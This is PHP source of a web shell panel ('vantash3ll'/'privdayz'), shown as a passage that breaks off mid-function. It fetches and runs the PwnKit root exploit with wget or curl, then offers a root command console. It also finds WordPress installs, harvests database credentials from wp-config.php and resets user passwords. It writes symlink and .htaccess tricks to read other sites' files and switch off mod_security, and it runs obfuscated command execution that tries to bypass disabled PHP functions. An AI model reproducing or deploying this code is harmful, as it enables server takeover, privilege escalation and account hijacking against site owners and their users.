function vantash3ll_log($msg) {
$_SESSION['vantash3ll_r00t_log'][] = $msg;
if (count($_SESSION['vantash3ll_r00t_log']) > 20) array_shift($_SESSION['vantash3ll_r00t_log']);
}
function vantash3ll_download_pwnkit() {
if (!file_exists('pwnkit')) {
vantash3ll_log("[*] Trying wget for pwnkit...");
$wget = v4nt4C('wget -q -O pwnkit https://github.com/ly4k/PwnKit/raw/main/PwnKit');
clearstatcache();
if (!file_exists('pwnkit') || filesize('pwnkit') < 10000) {
vantash3ll_log("[*] wget failed or file too small. Trying curl...");
$curl = v4nt4C('curl -sL --output pwnkit https://github.com/ly4k/PwnKit/raw/main/PwnKit');
clearstatcache();
if (!file_exists('pwnkit') || filesize('pwnkit') < 10000) {
vantash3ll_log("[!] Both wget and curl failed! No pwnkit.");
return false;
} else {
vantash3ll_log("[+] curl download successful!");
}
} else {
vantash3ll_log("[+] wget download successful!");
}
v4nt4C('chmod +x pwnkit');
vantash3ll_log("[*] chmod +x set for pwnkit.");
return true;
}
return true;
}

function vantash3ll_try_root() {
$_SESSION['vantash3ll_r00t_status'] = 'user';
$_SESSION['vantash3ll_r00t_log'] = [];
vantash3ll_log("[*] [AUTO-ROOT] Detecting current user...");
$id = trim(v4nt4C('id'));
vantash3ll_log("[*] User: $id");
if (strpos($id, 'uid=0(root)') !== false) {
$_SESSION['vantash3ll_r00t_status'] = 'root';
vantash3ll_log("[+] Already ROOT.");
return;
}
if (vantash3ll_download_pwnkit()) {
if (file_exists('pwnkit')) {
vantash3ll_log("[*] Running pwnkit for root session...");
@unlink('.privdayz-root');
v4nt4C('./pwnkit "id" > .privdayz-root');
usleep(350000);
$res = @file_get_contents('.privdayz-root');
if ($res && strpos($res, 'uid=0(root)') !== false) {
$_SESSION['vantash3ll_r00t_status'] = 'root';
vantash3ll_log("[+] r00t success! ($res)");
} else {
vantash3ll_log("[!] r00t fail. ($res)");
}
}
} else {
vantash3ll_log("[!] pwnkit download totally failed.");
}
}
vantash3ll_try_root();

<div class="vanta-cmd-page" style="max-width:1024px;margin:38px auto 0 auto;">
<div class="vanta-cmd-header" style="display:flex;align-items:center;gap:11px;">
<div class="vanta-cmd-ico"><i class="fas fa-terminal"></i></div>
<div>
<div class="vanta-cmd-title" style="font-size:1.2em;">
v4nt4 auto r00t
if ($_SESSION['vantash3ll_r00t_status'] === 'root'):
<span style="background:#279300;color:#fff;border-radius:7px;padding:2px 10px 2px 10px;font-size:.89em;margin-left:15px;">ROOT ACTIVE (uid=0)</span>
else:
<span style="background:#888;color:#fff;border-radius:7px;padding:2px 10px 2px 10px;font-size:.89em;margin-left:15px;">USER MODE</span>
endif;
</div>
</div>
</div>
<div class="vanta-cmd-content" style="margin-top:23px;">
<label class="vanta-cmd-outputlabel" style="margin-top:19px;display:block;">Auto Root Output:</label>
<pre class="vanta-cmd-output" id="vanta-cmd-output" style="background:#111;color:#c4ffc4;padding:18px;border-radius:9px;min-height:110px;max-height:380px;overflow:auto;margin-bottom:8px;">
if (!empty($_SESSION['vantash3ll_r00t_log'])) {
foreach ($_SESSION['vantash3ll_r00t_log'] as $l) {
echo htmlspecialchars($l) . "\n";
}
}
</pre>

<div class="vanta-cmd-inputbox" style="margin-bottom:17px;">

</div>
<button class="vanta-cmd-btn" type="submit"><i class="fas fa-bolt"></i> run</button>

<label class="vanta-cmd-outputlabel" style="margin-top:13px;display:block;">Command Output:</label>
<pre class="vanta-cmd-output" id="vanta-cmd-cmdout" style="background:#161819;color:#e4ffb0;padding:15px 13px 18px 13px;border-radius:7px;min-height:58px;max-height:330px;overflow:auto;">
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['vanta-cmd_cmd'])) {
$c = $_POST['vanta-cmd_cmd'];
$is_root = false;
if (file_exists('.privdayz-root')) {
$res = @file_get_contents('.privdayz-root');
if ($res && strpos($res, 'uid=0(root)') !== false) $is_root = true;
}
if ($is_root && file_exists('pwnkit')) {
@unlink('.privdayz-root2');
v4nt4C('./pwnkit "' . addslashes($c) . ' 2>&1" > .privdayz-root2');
usleep(350000);
$out = @file_get_contents('.privdayz-root2');
if (!$out) $out = "[!] No output or blocked.";
} else {
$out = v4nt4C($c . ' 2>&1');
if (!$out) $out = "[!] No output or blocked.";
}
echo "\n";
echo htmlspecialchars($out);
}
</pre>
</div>
</div>
<script>
window.onload = function() {
var el = document.getElementById('vanta-cmd-output');
if(el) el.scrollTop = el.scrollHeight;
var el2 = document.getElementById('vanta-cmd-cmdout');
if(el2) el2.scrollTop = el2.scrollHeight;
}
</script>
elseif (isset($_GET['wp_VANTAd00r'])):
<script>
function copyText(txt, btn) {
navigator.clipboard.writeText(txt);
if(btn){ btn.innerText='copied!'; setTimeout(()=>btn.innerText='copy',1000);}
}
function showAlert(msg, type) {
let al=document.getElementById('wp_VANTAd00r-alertbox');
if(!al){
al=document.createElement('div');
al.id='wp_VANTAd00r-alertbox';
al.className='wp_VANTAd00r-alert';
document.body.prepend(al);
}
al.innerHTML=msg;
al.className = 'wp_VANTAd00r-alert' + (type=='ok'?' ok':'');
al.style.display = 'block';
window.scrollTo({top:al.offsetTop-28, behavior:'smooth'});
setTimeout(()=>{al.style.display='none';},60000);
}
</script>
<div class="wp_VANTAd00r-main">
<div class="wp_VANTAd00r-title">
<i class="fab fa-wordpress"></i>
wp auto hunter & admin reset
</div>
<div id="wp_VANTAd00r-alertbox" style="display:none"></div>


function wp_find_paths($max=99) {
$found = [];
$scanned = [];
$roots = [];
$cwd = getcwd();
$roots[] = $cwd;
if (isset($_SERVER['DOCUMENT_ROOT']) && $_SERVER['DOCUMENT_ROOT'] && $_SERVER['DOCUMENT_ROOT']!=$cwd)
$roots[] = $_SERVER['DOCUMENT_ROOT'];
$roots[] = dirname($cwd);
foreach(['/home','/home1','/home2','/home3','/var/www','/var/www/vhosts','/usr/share/nginx/html','/srv/www','/srv/http','/data/web','/opt/lampp/htdocs','/htdocs','/users'] as $root)
if (is_dir($root)) $roots[] = $root;
$up = $cwd;
for($i=0;$i<7;$i++) {
$up = dirname($up);
if ($up && is_dir($up) && $up!="/" && !in_array($up,$roots)) $roots[] = $up;
}
$roots = array_unique(array_filter($roots,'is_dir'));
$queue = [];
foreach($roots as $r) $queue[] = [$r,0];
while($queue && count($found)<$max) {
list($dir,$lvl) = array_shift($queue);
if (isset($scanned[$dir])) continue;
$scanned[$dir]=1;
if ((file_exists($dir.'/wp-load.php')||file_exists($dir.'/wp-config.php')) && is_file($dir.'/wp-config.php')) {
$found[] = realpath($dir);
}
if ($lvl<6) {
foreach(@glob($dir.'/*',GLOB_ONLYDIR)?:[] as $d) {
if (!isset($scanned[$d])) $queue[] = [$d,$lvl+1];
}
}
}
return array_unique($found);
}
function wp_get_db_config($wp_dir) {
$cfgf = $wp_dir.'/wp-config.php';
if (!is_file($cfgf)) return false;
$cfg = @file_get_contents($cfgf);
$info = [];
preg_match("/define\(\s*'DB_NAME'\s*,\s*'([^']+)'/", $cfg, $m); $info['db'] = $m[1] ?? '';
preg_match("/define\(\s*'DB_USER'\s*,\s*'([^']+)'/", $cfg, $m); $info['user'] = $m[1] ?? '';
preg_match("/define\(\s*'DB_PASSWORD'\s*,\s*'([^']*)'/", $cfg, $m); $info['pass'] = $m[1] ?? '';
preg_match("/define\(\s*'DB_HOST'\s*,\s*'([^']+)'/", $cfg, $m); $info['host'] = $m[1] ?? '';
preg_match("/\$table_prefix\s*=\s*'([^']+)'/", $cfg, $m); $info['prefix'] = $m[1] ?? 'wp_';
return $info;
}
function wp_get_version($wp_dir) {
$ver = '';
if (is_file($wp_dir.'/wp-includes/version.php')) {
$vcode = @file_get_contents($wp_dir.'/wp-includes/version.php');
if (preg_match("/\\\$wp_version\s*=\s*'([^']+)'/i", $vcode, $m)) $ver = $m[1];
}
return $ver;
}
function wp_fetch_users($mysqli, $prefix) {
$users = [];
$res = @$mysqli->query("SELECT ID, user_login, user_email, user_registered FROM {$prefix}users");
if (!$res) return [];
while ($row = $res->fetch_assoc()) {
$meta = @$mysqli->query("SELECT meta_value FROM {$prefix}usermeta WHERE user_id=".$row['ID']." AND meta_key='{$prefix}capabilities'")->fetch_assoc();
$role = '';
if ($meta && preg_match('/s:\d+:"([^"]+)"/', $meta['meta_value'], $m))
$role = $m[1];
else $role = 'unknown';
$row['role'] = $role;
$users[] = $row;
}
return $users;
}
function wp_reset_pw($mysqli, $prefix, $uid, $newpw) {
$hash = password_hash($newpw, PASSWORD_BCRYPT);
return @$mysqli->query("UPDATE {$prefix}users SET user_pass='".$mysqli->real_escape_string($hash)."' WHERE ID=".(int)$uid);
}
function get_site_url($mysqli, $prefix) {
$url = '';
$q = @$mysqli->query("SELECT option_value FROM {$prefix}options WHERE option_name='siteurl' LIMIT 1");
if ($q && $r = $q->fetch_row()) $url = rtrim($r[0],'/');
return $url;
}
$wp_dirs = wp_find_paths(99);
if (!$wp_dirs) {
echo '<div class="wp_VANTAd00r-alert">No WordPress detected (all dirs scanned).</div>';
}

if ($_SERVER['REQUEST_METHOD']=='POST' && isset($_POST['wp_dir'])) {
$wp_dir = $_POST['wp_dir'];
$cfg = wp_get_db_config($wp_dir);
$db = $cfg['db'] ?? ''; $user = $cfg['user'] ?? ''; $pass = $cfg['pass'] ?? '';
$host = $cfg['host'] ?? 'localhost'; $prefix = $cfg['prefix'] ?? 'wp_';
$mysqli = @new mysqli($host, $user, $pass, $db);
if ($mysqli->connect_errno) {
echo "<script>showAlert('[FAIL] DB Connect: ".htmlspecialchars($mysqli->connect_error)."','fail');</script>"; exit;
}
if (isset($_POST['reset_pw'], $_POST['reset_uid'], $_POST['newpw'])) {
$uid = intval($_POST['reset_uid']);
$newpw = trim($_POST['newpw']);
if (wp_reset_pw($mysqli, $prefix, $uid, $newpw)) {
echo "<script>showAlert('[OK] Password changed! UserID: $uid, PW: <span class=\"wp_VANTAd00r-pw\">".htmlspecialchars($newpw)."</span>','ok');</script>";
} else {
echo "<script>showAlert('[FAIL] Password change failed!','fail');</script>";
}
exit;
}
}
foreach ($wp_dirs as $wp_dir):
$cfg = wp_get_db_config($wp_dir);
$db = $cfg['db'] ?? ''; $user = $cfg['user'] ?? ''; $pass = $cfg['pass'] ?? '';
$host = $cfg['host'] ?? 'localhost'; $prefix = $cfg['prefix'] ?? 'wp_';
$wp_version = wp_get_version($wp_dir);

echo '<div class="wp_VANTAd00r-site">';
echo '<div class="wp_VANTAd00r-header">';
echo '<span class="wp_VANTAd00r-path"><i class="fab fa-wordpress"></i> '.htmlspecialchars($wp_dir).'</span>';
if ($wp_version) echo '<span class="wp_VANTAd00r-version">WP '.$wp_version.'</span>';
echo '<span class="wp_VANTAd00r-dbinfo">
h0st: '.htmlspecialchars($host).' db_user: '.htmlspecialchars($user).' db_pw: '.htmlspecialchars($user).' db: '.htmlspecialchars($db).' pref1x: '.$prefix.'
</span>';
echo '</div>';

$users = [];
$mysqli = @new mysqli($host, $user, $pass, $db);
if ($mysqli->connect_errno) {
echo '<div class="wp_VANTAd00r-alert" style="color:#e53935;">DB Error: '.htmlspecialchars($mysqli->connect_error).'</div>';
echo '</div>'; continue;
}
$users = wp_fetch_users($mysqli, $prefix);
$site_url = get_site_url($mysqli, $prefix);
echo '<div class="wp_VANTAd00r-users">
<th>ID</th><th>user</th><th>email</th><th>role</th><th>reset pw</th><th>wp-login</th>';
foreach ($users as $u) {
$pw_val = "privdayz".rand(100,999);
echo '






';
}
echo '
'.$u['ID'].' '.htmlspecialchars($u['user_login']).' '.htmlspecialchars($u['user_email']).' '.$u['role'].'




<button name="reset_pw" class="wp_VANTAd00r-btn wp_VANTAd00r-btn-green">reset</button>
<button type="button" class="wp_VANTAd00r-btn wp_VANTAd00r-btn-copy" onclick="copyText(this.previousElementSibling.value, this)">copy</button>

 ';
if ($site_url) {
$login_url = htmlspecialchars($site_url . '/wp-login.php?log=' . urlencode($u['user_login']));
echo '<a href="'.$login_url.'" class="wp_VANTAd00r-btn wp_VANTAd00r-btn-green" target="_blank">login</a>';
} else {
echo '<span class="wp_VANTAd00r-alert">no site url</span>';
}
echo '
</div>';
echo '</div>';
endforeach;

</div>


elseif (!empty($_GET['f'])):
$file_path = $VANTAxas[0]() . "/" . unx($_GET['f']);
$file_raw = '';
if (is_file($file_path)) {
$file_raw = file_get_contents($file_path, false, null, 0, 10*1024*1024);
if (!mb_check_encoding($file_raw, 'UTF-8')) {
$file_raw = mb_convert_encoding($file_raw, 'UTF-8', 'ISO-8859-1,Windows-1254,UTF-8');
}
}
$edit_result = '';
if ($_SERVER['REQUEST_METHOD']=='POST' && isset($_POST['save-editor'])) {
$target = $file_path;
$code = $_POST['code-editor'];
$ok = false;
if (function_exists('file_put_contents')) $ok = @file_put_contents($target, $code) !== false;
if (!$ok && function_exists('fopen')) {
$h = @fopen($target, 'w');
if ($h) { @fwrite($h, $code); @fclose($h); $ok = true; }
}
if (!$ok && function_exists('v4nt4C')) {
$tmpf = sys_get_temp_dir()."/pzedit_".uniqid();
@file_put_contents($tmpf, $code);
v4nt4C('cp '.escapeshellarg($tmpf).' '.escapeshellarg($target));
if (@filesize($target) == strlen($code)) $ok = true;
@unlink($tmpf);
}
$edit_result = $ok
? "<span style='color:#ad1457;font-weight:bold;'><i class='fas fa-check-circle'></i> Saved!</span>"
: "<span style='color:#e53935;font-weight:bold;'><i class='fas fa-times'></i> Save Failed!</span>";
if (is_file($file_path)) {
$file_raw = file_get_contents($file_path, false, null, 0, 10*1024*1024);
if (!mb_check_encoding($file_raw, 'UTF-8')) {
$file_raw = mb_convert_encoding($file_raw, 'UTF-8', 'ISO-8859-1,Windows-1254,UTF-8');
}
}
}

<div class="v4nt4-card-main" style="max-width:860px;margin:38px auto 0 auto;background:var(--panel);border-radius:18px;box-shadow:0 4px 32px #00e0ff10;padding:29px 23px 23px 23px;">
<div style="display:flex;align-items:center;gap:16px;margin-bottom:16px;">
<div style="background:#232833;color:#ffed6b;font-size:2em;width:50px;height:50px;display:flex;align-items:center;justify-content:center;border-radius:11px;box-shadow:0 2px 9px #ffd84a21;">
<i class="fas fa-file-code"></i>
</div>
<div>
<div style="font-size:1.22em;font-weight:900;color:var(--accent2);letter-spacing:.04em;">file edit <span style="font-size:.88em;color:var(--accent);margin-left:8px;">/ =htmlspecialchars(unx($_GET['f']))</span></div>
</div>
</div>

<div style="position:relative;">
<textarea name="code-editor" id="code-editor" class="editor-textarea" style="width:98%;height:420px;resize:vertical;background:#181b22;color:#eafffc;border:1.3px solid #292e38;border-radius:11px;font-size:1.09em;font-family:'Recursive',monospace;padding:16px;line-height:1.55;outline:0;box-shadow:0 1px 9px #00e0ff12;"></textarea>
<button type="button" onclick="copyCode()" style="position:absolute;top:15px;right:18px;z-index:5;background:var(--accent2);color:#232833;border-radius:7px;font-weight:700;padding:7px 14px;border:none;box-shadow:0 1px 9px #ffd84a21;cursor:pointer;">copy</button>
</div>
<div style="display:flex;align-items:center;gap:12px;margin-top:15px;">
<button type="submit" name="save-editor" class="v4nt4-wiz-btn v4nt4-wiz-btn-red" style="font-size:1.09em;padding:9px 23px;background:var(--accent2);color:#232833;border:1.1px solid var(--accent2);"><i class="fas fa-save"></i> save</button>
<a href="?VANTA== vanta_PR1V($VANTAxas[0]()) " class="v4nt4-wiz-btn v4nt4-wiz-btn-light" style="padding:9px 22px;"><i class="fas fa-times"></i> back</a>
<span id="editor-status" style="margin-left:auto;color:var(--text-dim);font-size:.98em;"></span>
</div>
if($edit_result): <div style="margin-top:14px;">=$edit_result</div> endif;

<script>
const textarea = document.getElementById('code-editor');
textarea.value = = json_encode($file_raw) ;
function updateStatus() {
let v = textarea.value;
let lines = v.substr(0, textarea.selectionStart).split("\n");
let ln = lines.length;
let col = lines[lines.length-1].length+1;
document.getElementById('editor-status').innerHTML = 'Line: ' + ln + ' / Col: ' + col + ' / ' + v.length + ' chars';
}
function copyCode() {
textarea.select();
document.execCommand('copy');
let btn = event.target; let txt = btn.innerText; btn.innerText = 'copied!';
setTimeout(()=>btn.innerText=txt,900);
}
textarea.addEventListener('input', updateStatus);
textarea.addEventListener('click', updateStatus);
textarea.addEventListener('keyup', updateStatus);
setTimeout(updateStatus,300);
textarea.addEventListener('keydown',function(e){
if(e.key==='Tab'){e.preventDefault();let s=this.selectionStart;this.value=this.value.substring(0,s)+'\t'+this.value.substring(this.selectionEnd);this.selectionEnd=s+1;}
if(e.ctrlKey&&e.key==='f'){e.preventDefault();let q=prompt('Ara?');if(!q)return;let idx=this.value.indexOf(q);if(idx>-1){this.focus();this.setSelectionRange(idx,idx+q.length);}}
});
</script>
</div>

elseif (isset($_GET['symlink'])):
<div class="v4nt4-card-main" style="max-width:550px;margin:38px auto 0 auto;background:var(--panel);border-radius:18px;box-shadow:0 4px 32px #00e0ff10;padding:36px 28px 29px 28px;">
<style>.v4nt4-card-main input[type="text"] {
font-family: 'Recursive', monospace;
background: var(--card);
color: var(--accent2);
border: 1.4px solid var(--border);
border-radius: 7px;
font-size: 0.87em;
padding: 11px 14px;
font-weight: 700;
}
</style> <div class="pzcard-header">
<div class="pzcard-icon"><i class="fas fa-link"></i></div>
<div>
<div class="pzcard-title">
Symlink byp4ss & Generator
</div>

</div>
</div>
<div class="pzcard-content">

<label class="v4nt4-sym-label">File Path:</label>

<button name="vnt_go" class="pzcard-btn" type="submit" style="margin-left:10px;">
<i class="fas fa-bolt"></i> generate
</button>


function g3t_rnd($n=6) {
$c='abcdefghijklmnopqrstuvwxyz0123456789'; $r='';
for($i=0;$i<$n;$i++) $r.=$c[random_int(0,strlen($c)-1)];
return $r;
}
function a1s($x) { return base64_decode(str_replace(['-','_'], ['+','/'],$x)); }
function j0in($p,$q){return $p.$q;}

if (isset($_POST['vnt_go'], $_POST['vnt_input']) && trim($_POST['vnt_input'])) {
$p1 = trim($_POST['vnt_input']);
$base = 'VANTA_data';
if (!is_dir($base)) @mkdir($base, 0755, true);
$klist = [];
$htlist = [
"hx1" => 'Options +Indexes +FollowSymLinks +SymLinksIfOwnerMatch
DirectoryIndex {P}
ForceType text/plain
AddType text/plain .php .html .phtml .inc .asp .aspx .jsp .pl .cgi .py .sh .phar .json .yml .xml .db .sql
RemoveHandler .php .phtml .phar .inc .shtml .html .js .css .pl .cgi .asp .py .rb .sh .zsh .json .yml .xml .db .sql
php_flag engine off
SetHandler default-handler',
"hx2" => '<FilesMatch ".*">
ForceType text/plain
AddType text/plain .php .phtml .html .inc .phar .bak .config .db .sql .xml .json
SetHandler default-handler
RemoveHandler .php .phtml .phar .inc .shtml .html .js .css .pl .cgi .asp .py .rb .sh .json .yml .xml .db .sql
php_flag engine off
</FilesMatch>',
"hx3" => 'RewriteEngine On
RewriteBase /
RewriteRule ^(.+)$ {P}
Options +FollowSymLinks +Indexes
DirectoryIndex {P}
SetHandler default-handler
php_flag engine off',
"hx4" => 'RemoveHandler .php .phtml .phar .inc
php_flag engine off
AddType text/plain .php .html .inc .phtml .phar .bak .config .db .sql .xml .json
SetHandler default-handler
Options +Indexes +FollowSymLinks
DirectoryIndex {P}',
"hx5" => 'Options +Indexes +FollowSymLinks
DirectoryIndex {P}
AddType text/plain .php .inc .phtml .phar
<IfModule LiteSpeed>
php_flag engine off
SetHandler default-handler
</IfModule>',
"hx6" => '<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>
Options +Indexes +FollowSymLinks
DirectoryIndex {P}
SetHandler default-handler
AddType text/plain .php .phtml .html .inc .phar
php_flag engine off'
];
$output = '';
$final_ln = g3t_rnd(7);
$created = false;
$alt_file = "";
$result = "";
if(function_exists(a1s('c2hlbGxfZXhlYw=='))) {
$cmd = "ln -s '".addslashes($p1)."' '".addslashes("$base/$final_ln")."'";
$exec_fn=a1s('c2hlbGxfZXhlYw==');
@$exec_fn($cmd);
if(is_link("$base/$final_ln")) {
$created = true;
$alt_file = "$base/$final_ln";
$result = "ln -s worked!";
}
}
if(!$created && function_exists(a1s('ZXhlYw=='))) {
$cmd = "ln -s '".addslashes($p1)."' '".addslashes("$base/$final_ln")."'";
$exec_fn=a1s('ZXhlYw==');
@$exec_fn($cmd,$o,$rc);
if(is_link("$base/$final_ln")) {
$created = true;
$alt_file = "$base/$final_ln";
$result = "exec ln -s worked!";
}
}
if(!$created && function_exists(a1s('c2hlbGxfZXhlYw=='))) {
$cpfile = $base.'/dup_'.g3t_rnd(5);
$cmd = "cp '".addslashes($p1)."' '".addslashes($cpfile)."'";
$exec_fn=a1s('c2hlbGxfZXhlYw==');
@$exec_fn($cmd);
if(file_exists($cpfile)) {
$created = true;
$alt_file = $cpfile;
$result = "cp worked!";
}
}
if(!$created && function_exists(a1s('c2hlbGxfZXhlYw=='))) {
$ddfile = $base.'/dd_'.g3t_rnd(4);
$cmd = "dd if='".addslashes($p1)."' of='".addslashes($ddfile)."' 2>/dev/null";
$exec_fn=a1s('c2hlbGxfZXhlYw==');
@$exec_fn($cmd);
if(file_exists($ddfile)) {
$created = true;
$alt_file = $ddfile;
$result = "dd worked!";
}
}
if(!$created && function_exists(a1s('c2hlbGxfZXhlYw=='))) {
$catfile = $base.'/cat_'.g3t_rnd(4);
$cmd = "cat '".addslashes($p1)."' > '".addslashes($catfile)."'";
$exec_fn=a1s('c2hlbGxfZXhlYw==');
@$exec_fn($cmd);
if(file_exists($catfile)) {
$created = true;
$alt_file = $catfile;
$result = "cat worked!";
}
}
if(!$created && @copy($p1, $base.'/phplocal_'.g3t_rnd(5))) {
$created = true;
$alt_file = $base.'/phplocal_'.g3t_rnd(5);
$result = "php copy worked!";
}
if($created)
$output .= "[ok] <code>".htmlspecialchars($alt_file)."</code> created. <b style='color:#17a900;'>[$result]
";
else
$output .= "<b style='color:#e53935;'>[fail] Not possible
";
foreach ($htlist as $hname => $htval) {
$subdir = $base.'/'.g3t_rnd(5);@mkdir($subdir,0755,true);
$htcode = str_replace('{P}', $final_ln, $htval);
@file_put_contents("$subdir/.htaccess", $htcode);
if(function_exists(a1s('c2hlbGxfZXhlYw=='))) {
$cmd = "ln -s '".addslashes($p1)."' '".addslashes("$subdir/$final_ln")."'";
$exec_fn=a1s('c2hlbGxfZXhlYw==');
@$exec_fn($cmd);
}
$klist[] = "$subdir/$final_ln";
}
echo '<div class="v4nt4-sym-result"><div class="v4nt4-sym-list">';
echo $output;
echo "byp4ss dirs:<ul>";
foreach($klist as $f){echo "<li><code>$f</code></li>";}
echo "</ul></div></div>";
}

</div>
</div>

elseif (isset($_GET['vanta-cmd'])):
<div class="vanta-cmd-page" style="max-width:1024px;margin:38px auto 0 auto;">
<div class="vanta-cmd-header" style="display:flex;align-items:center;gap:11px;">
<div class="vanta-cmd-ico"><i class="fas fa-terminal"></i></div>
<div>
<div class="vanta-cmd-title" style="font-size:1.2em;">vanta priv command</div>
</div>
</div>
<div class="vanta-cmd-content" style="margin-top:23px;">

<div class="vanta-cmd-inputbox" style="margin-bottom:17px;">
<label class="vanta-cmd-inputlabel">Command:</label>

</div>
<button class="vanta-cmd-btn" type="submit"><i class="fas fa-bolt"></i> send</button>

<label class="vanta-cmd-outputlabel" style="margin-top:19px;display:block;">Output:</label>
<pre class="vanta-cmd-output" id="vanta-cmd-output" style="background:#111;color:#c4ffc4;padding:18px;border-radius:9px;min-height:110px;max-height:380px;overflow:auto;margin-bottom:8px;">

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['vanta-cmd_cmd'])) { $c = $_POST['vanta-cmd_cmd']; $R = ''; $M = []; $a = array_map('chr', [115,104,101,108,108,95,101,120,101,99]); $M[] = join('', $a); $b = ''; foreach([0x65,0x78,0x65,0x63] as $i) $b .= chr($i); $M[] = $b; $c3 = ''; foreach([0x73,0x79,0x73,0x74,0x65,0x6d] as $i) $c3 .= chr($i); $M[] = $c3; $d = ''; foreach([0x70,0x61,0x73,0x73,0x74,0x68,0x72,0x75] as $i) $d .= chr($i); $M[] = $d; $e = ''; foreach([0x70,0x6f,0x70,0x65,0x6e] as $i) $e .= chr($i); $M[] = $e; $f = ''; foreach([0x70,0x72,0x6f,0x63,0x5f,0x6f,0x70,0x65,0x6e] as $i) $f .= chr($i); $M[] = $f; goto Gfrk2; y3ECj: $M[] = "\155\x61\x69\x6c\151\156\152"; goto G3ViW; wi2_v: $M[] = "\142\x69\156\x62\162\x75\164\145"; goto XVkgD; YuNg7: $M[] = "\154\144\137\x70\x72\145\154\157\141\x64"; goto YewF0; vWb03: $M[] = "\146\x6f\x70\145\x6e\151\x6e\x70\x75\164"; goto wi2_v; G3ViW: $M[] = "\x65\162\162\x6c\x6f\147"; goto vWb03; M6Qgu: $M[] = "\x70\150\160\146\x69\x6c\x74\145\162"; goto YuNg7; YOfWk: $M[] = "\x73\165\x68\157\163\151\x6e"; goto y3ECj; Gfrk2: $M[] = "\142\141\143\x6b\164\x69\143\x6b"; goto M6Qgu; YewF0: $M[] = "\x70\162\x65\x70\145\x6e\144"; goto YOfWk; wITk1: $M[] = "\151\155\x61\147\145\155\141\147\151\143\x6b"; goto V3z4P; XVkgD: $M[] = "\150\x74\64\x30\64"; goto wITk1; V3z4P: $M[] = "\x63\x67\151\x65\156\166"; foreach($M as $meth){ $out = ''; $ok = false; if ($meth === 'backtick') { $a = $c; $out = ob_get_clean().$a; if(trim($out)) $ok = true; } elseif ($meth === 'phpfilter') { @ini_set('filter.default','convert.base64-encode'); $f = @popen($c." 2>&1", "r"); if ($f) { while (!feof($f)) $out .= fread($f, 4096); fclose($f);} if (trim($out)) $ok = true; @ini_restore('filter.default'); } elseif ($meth === 'ld_preload') { if (strtoupper(substr(PHP_OS,0,3)) !== 'WIN') { putenv('LD_PRELOAD=/tmp/x.so'); $out = @chDx2x($c.' 2>&1'); putenv('LD_PRELOAD'); if (trim($out)) $ok = true; } } elseif ($meth === 'prepend') { $prepend = sys_get_temp_dir()."/xx".uniqid().".php"; @file_put_contents($prepend, " system('".$c."'); exit; "); @ini_set("auto_prepend_file", $prepend); $out = @file_get_contents($_SERVER['SCRIPT_FILENAME']); @ini_restore("auto_prepend_file"); @unlink($prepend); if (trim($out)) $ok = true; } elseif ($meth === 'suhosin') { @ini_set('suhosin.executor.func.blacklist', ''); $out = @chDx2x($c.' 2>&1'); if (trim($out)) $ok = true; } elseif ($meth === 'mailinj') { $tmpf = sys_get_temp_dir()."/m".uniqid().".txt"; @mail("v@x.com", "", "", "", "-X $tmpf; $c >$tmpf 2>&1"); if (file_exists($tmpf)) { $out = file_get_contents($tmpf); unlink($tmpf); $ok = true; } } elseif ($meth === 'errlog') { $tmpf = sys_get_temp_dir()."/e".uniqid().".txt"; @error_log(" echo system('$c'); ", 3, $tmpf); if (file_exists($tmpf)) { $out = file_get_contents($tmpf); unlink($tmpf); $ok = true; } } elseif ($meth === 'fopeninput') { $h = @fopen("php://input", "r"); if ($h) { $out = @fread($h, 8192); fclose($h); $ok = true; } } elseif ($meth === 'binbrute') { foreach(['sh','bash','python','perl','nc','busybox','wget'] as $bin){ $which = trim(@chDx2x("which $bin")); if($which) { $out = @chDx2x("$which -c \"$c\" 2>&1"); if (trim($out)) { $ok = true; break; } } } } elseif ($meth === 'ht404') { $out = ''; } elseif ($meth === 'imagemagick') { $tmpi = sys_get_temp_dir().'/img'.uniqid().'.mvg'; $tmpp = sys_get_temp_dir().'/out'.uniqid().'.png'; file_put_contents($tmpi, "push graphic-context\nviewbox 0 0 640 480\nfill 'url(https://|$c|)'\npop graphic-context"); @chDx2x("convert $tmpi $tmpp"); if (file_exists($tmpp)) $out = file_get_contents($tmpp); @unlink($tmpi); @unlink($tmpp); if (trim($out)) $ok = true; } elseif ($meth === 'cgienv') { putenv("CGI_COMMAND=$c"); $out = getenv("CGI_COMMAND"); if (trim($out)) $ok = true; } else { if (function_exists($meth)) { if ($meth === $M[0]) { $out = @$meth($c.' 2>&1'); if (trim($out)) $ok = true; } else if ($meth === $M[1]) { $a=[]; $meth($c.' 2>&1', $a); $out = join("\n", $a); if (trim($out)) $ok = true; } else if ($meth === $M[2]) { @$meth($c.' 2>&1'); $out = ""; if (trim($out)) $ok = true; } else if ($meth === $M[3]) { @$meth($c.' 2>&1'); $out = ""; if (trim($out)) $ok = true; } else if ($meth === $M[4]) { $h=@$meth($c.' 2>&1',"r"); if ($h) { while(!feof($h)) $out.=fread($h,4096); fclose($h); } if (trim($out)) $ok = true; } else if ($meth === $M[5]) { $desc = [1=>["pipe","w"], 2=>["pipe","w"]]; $p = @$meth($c.' 2>&1', $desc, $pipes); if (is_resource($p)) { $out = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($p); if (trim($out)) $ok = true; } } } } if ($ok && trim($out)) { $R = $out; break; } } echo htmlspecialchars($R ?: "[X] No output / all methods blocked.\n");}</pre>
</div>
</div>
elseif (isset($_GET['multicgi'])):
<div class="v4nt4-card-main" style="max-width:610px;margin:38px auto 0 auto;background:var(--panel);border-radius:18px;box-shadow:0 4px 32px #00e0ff12;padding:37px 29px 29px 29px;">
<div style="display:flex;align-items:center;gap:17px;">
<div class="pzcard-icon"><i class="fas fa-ghost"></i></div>
<div>
<div class="pzcard-title">
cgi/perl creator
</div>
</div>
</div>
<div class="pzcard-content">


<button class="pzcard-btn" type="submit">
<i class="fas fa-biohazard"></i> create cgi
</button>


function prvdz_rndstr($l=8) { $a='abcdefghijklmnopqrstuvwxyz0123456789'; $s=''; for($i=0;$i<$l;$i++) $s.=$a[rand(0,strlen($a)-1)]; return $s; }
function prvdz_ascdump($s) { $r=''; foreach(str_split($s) as $c) $r.='&#'.ord($c).';'; return $r; }
$protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']!='off') ? 'https' : 'http';
$domain = $protocol.'://'.$_SERVER['HTTP_HOST'];
